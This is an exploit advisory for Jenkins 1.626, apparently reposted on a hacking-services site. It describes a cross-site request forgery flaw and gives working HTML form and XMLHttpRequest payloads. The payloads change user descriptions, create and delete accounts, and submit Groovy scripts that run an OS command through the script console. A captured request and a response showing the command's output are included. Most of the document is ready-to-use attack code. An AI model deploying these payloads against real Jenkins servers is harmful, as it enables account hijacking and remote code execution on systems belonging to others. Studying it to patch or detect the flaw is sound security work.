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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Title: Jenkins 1.626 - Cross Site Request Forgery / Code Execution
# Date: 27.08.15
# Vendor: jenkins-ci.org
# Affected versions: => 1.626 (current)
# Software link: http://mirrors.jenkins-ci.org/war/latest/jenkins.war
# Tested on: win64
# Author: Smash_
# Contact: smash [at] devilteam.pl
 
Cross site request forgery vulnerability in Jenkins 1.626 allows remote attackers to hjiack the authentication of users for most request. Using CSRF it is able to change specific settings or even execute code on os as shown below.
 
Examples:
 
<html>
  <!-- Change user descripton -->
  <body>
    <form action="http://127.0.0.1/jenkins/user/user/submitDescription" method="POST">
      <input type="hidden" name="description" value="abc" />
      <input type="hidden" name="json" value="&#123;"description"&#58;&#32;"abc"&#125;" />
      <input type="hidden" name="Submit" value="Submit" />
      <input type="submit" value="Go" />
    </form>
  </body>
</html>
 
<!-- // -->
 
<html>
  <!-- Add user -->
  <body>
    <form action="http://127.0.0.1/jenkins/securityRealm/createAccountByAdmin" method="POST">
      <input type="hidden" name="username" value="csrf" />
      <input type="hidden" name="password1" value="pass" />
      <input type="hidden" name="password2" value="pass" />
      <input type="hidden" name="fullname" value="Legit&#32;Bob" />
      <input type="hidden" name="email" value="bob&#64;mail&#46;box" />
      <input type="hidden" name="json" value="&#123;"username"&#58;&#32;"csrf"&#44;&#32;"password1"&#58;&#32;"pass"&#44;&#32;"password2"&#58;&#32;"pass"&#44;&#32;"fullname"&#58;&#32;"Legit&#32;Bob"&#44;&#32;"email"&#58;&#32;"bob&#64;mail&#46;box"&#125;" />
      <input type="hidden" name="Submit" value="Sign&#32;up" />
      <input type="submit" value="Go" />
    </form>
  </body>
</html>
 
<!-- // -->
 
<html>
  <!-- Delete user -->
  <body>
    <form action="http://127.0.0.1/jenkins/user/csrf/doDelete" method="POST">
      <input type="hidden" name="json" value="&#123;&#125;" />
      <input type="hidden" name="Submit" value="Yes" />
      <input type="submit" value="Go" />
    </form>
  </body>
</html>
 
<!-- // -->
 
<html>
  <!-- Code execution #1
          groovy: print "cmd /c dir".execute().text
            -->
  <body>
    <form action="http://127.0.0.1/jenkins/script" method="POST">
      <input type="hidden" name="script" value="print&#32;"cmd&#32;&#47;c&#32;dir"&#46;execute&#40;&#41;&#46;text&#13;&#10;" />
      <input type="hidden" name="json" value="&#123;"script"&#58;&#32;"print&#32;&#92;"cmd&#32;&#47;c&#32;dir&#92;"&#46;execute&#40;&#41;&#46;text&#92;n"&#44;&#32;""&#58;&#32;""&#125;" />
      <input type="hidden" name="Submit" value="Wykonaj" />
      <input type="submit" value="Go" />
    </form>
  </body>
</html>
 
<html>
  <!-- Code execution #2
          groovy: print "cmd /c dir".execute().text
            -->
  <body>
    <script>
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://127.0.0.1/jenkins/computer/(master)/script", true);
        xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "pl,en-US;q=0.7,en;q=0.3");
        xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
        xhr.withCredentials = true;
        var body = "script=println+%22cmd+%2Fc+dir%22.execute%28%29.text&json=%7B%22script%22%3A+%22println+%5C%22cmd+%2Fc+dir%5C%22.execute%28%29.text%22%2C+%22%22%3A+%22%22%7D&Submit=Wykonaj";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i);
        xhr.send(new Blob([aBody]));
  </body>
</html>
 
 
Request:
POST /jenkins/script HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/jenkins/script
Cookie: JSESSIONID=E8F948238B2F4D6DAFAF191F074E6C3E; screenResolution=1600x900
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 178
 
script=print+%22cmd+%2Fc+dir%22.execute%28%29.text%0D%0A&json=%7B%22script%22%3A+%22print+%5C%22cmd+%2Fc+dir%5C%22.execute%28%29.text%5Cn%22%2C+%22%22%3A+%22%22%7D&Submit=Wykonaj
 
Response:
HTTP/1.1 200 OK
Date: Thu, 27 Aug 2015 18:06:55 GMT
Server: Apache
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
Expires: 0
Cache-Control: no-cache,no-store,must-revalidate
X-Hudson-Theme: default
X-Hudson: 1.395
X-Jenkins: 1.626
X-Jenkins-Session: 0ff3a92b
X-Hudson-CLI-Port: 1834
X-Jenkins-CLI-Port: 1834
X-Jenkins-CLI2-Port: 1834
X-Frame-Options: sameorigin
X-Instance-Identity: MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoMa5pk8H/b/c/jIOBH+D8XGi2/1MUshSuGtK41S9ON67SRR1Dzmqlzhj+Hsgla6+NJDCFKqZf3aoQbgt8nVzQRkb12bjYPHMupa58SApxwIyvhRJaNq9jq+CcllEwt9m+N1JeCxeLork82LAbiDSBbPhHBGLzqA0a9hzKVTm80i9yiTqDoEK+WyK4m8AyqJFH/V4lkERKbSr2YK1u2sFGCuBaGAK/RYspmNmJSqj0c3lPEYeDsehTSn4PHpFrbsvKkHKD1RxNDRciSFMNY3RtxpBEhKxvJHkpy9HKF+ktYebwCMZ4J8LKnhkvwqJPgpqar3FuxX4Gsfwoy0/1oCtPQIDAQAB
X-SSH-Endpoint: 127.0.0.1:1832
Content-Type: text/html;charset=UTF-8
Content-Length: 13468
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
(...)
><link rel='stylesheet' href='/jenkins/adjuncts/0ff3a92b/org/kohsuke/stapler/codemirror/theme/default.css' type='text/css' /><h2>Rezultat</h2><pre> Wolumin w stacji C to Windows7_OS
 Numer seryjny woluminu: D2DC-59F9
 
 Katalog: C:\Bitnami\jenkins-1.626-0
 
2015-08-27  18:51    <DIR>          .
2015-08-27  18:51    <DIR>          ..
2015-08-27  18:47    <DIR>          apache-tomcat
2015-08-27  18:47    <DIR>          apache2
2015-08-27  18:47    <DIR>          apps
2015-08-27  18:49             9�751 changelog.txt
2015-08-27  18:47    <DIR>          common
2015-08-27  18:48    <DIR>          git
2015-08-27  18:49    <DIR>          gradle
2015-08-27  18:47    <DIR>          img
2015-08-27  18:47    <DIR>          java
2015-08-27  18:47    <DIR>          licenses
2015-07-30  14:15         3�080�056 manager-windows.exe
2015-08-27  18:50             1�102 properties.ini
2015-08-27  18:49            12�118 README.txt
2015-08-27  18:50    <DIR>          scripts
2015-08-27  18:47             5�536 serviceinstall.bat
2015-08-27  18:47             5�724 servicerun.bat
2015-08-27  18:47    <DIR>          sqlite
2015-08-27  18:51           268�031 uninstall.dat
2015-08-27  18:51         7�038�369 uninstall.exe
2015-08-27  18:50               166 use_jenkins.bat
               9 plik(�w)         10�420�853 bajt�w
              13 katalog(�w)  110�690�426�880 bajt�w wolnych
</pre></div>
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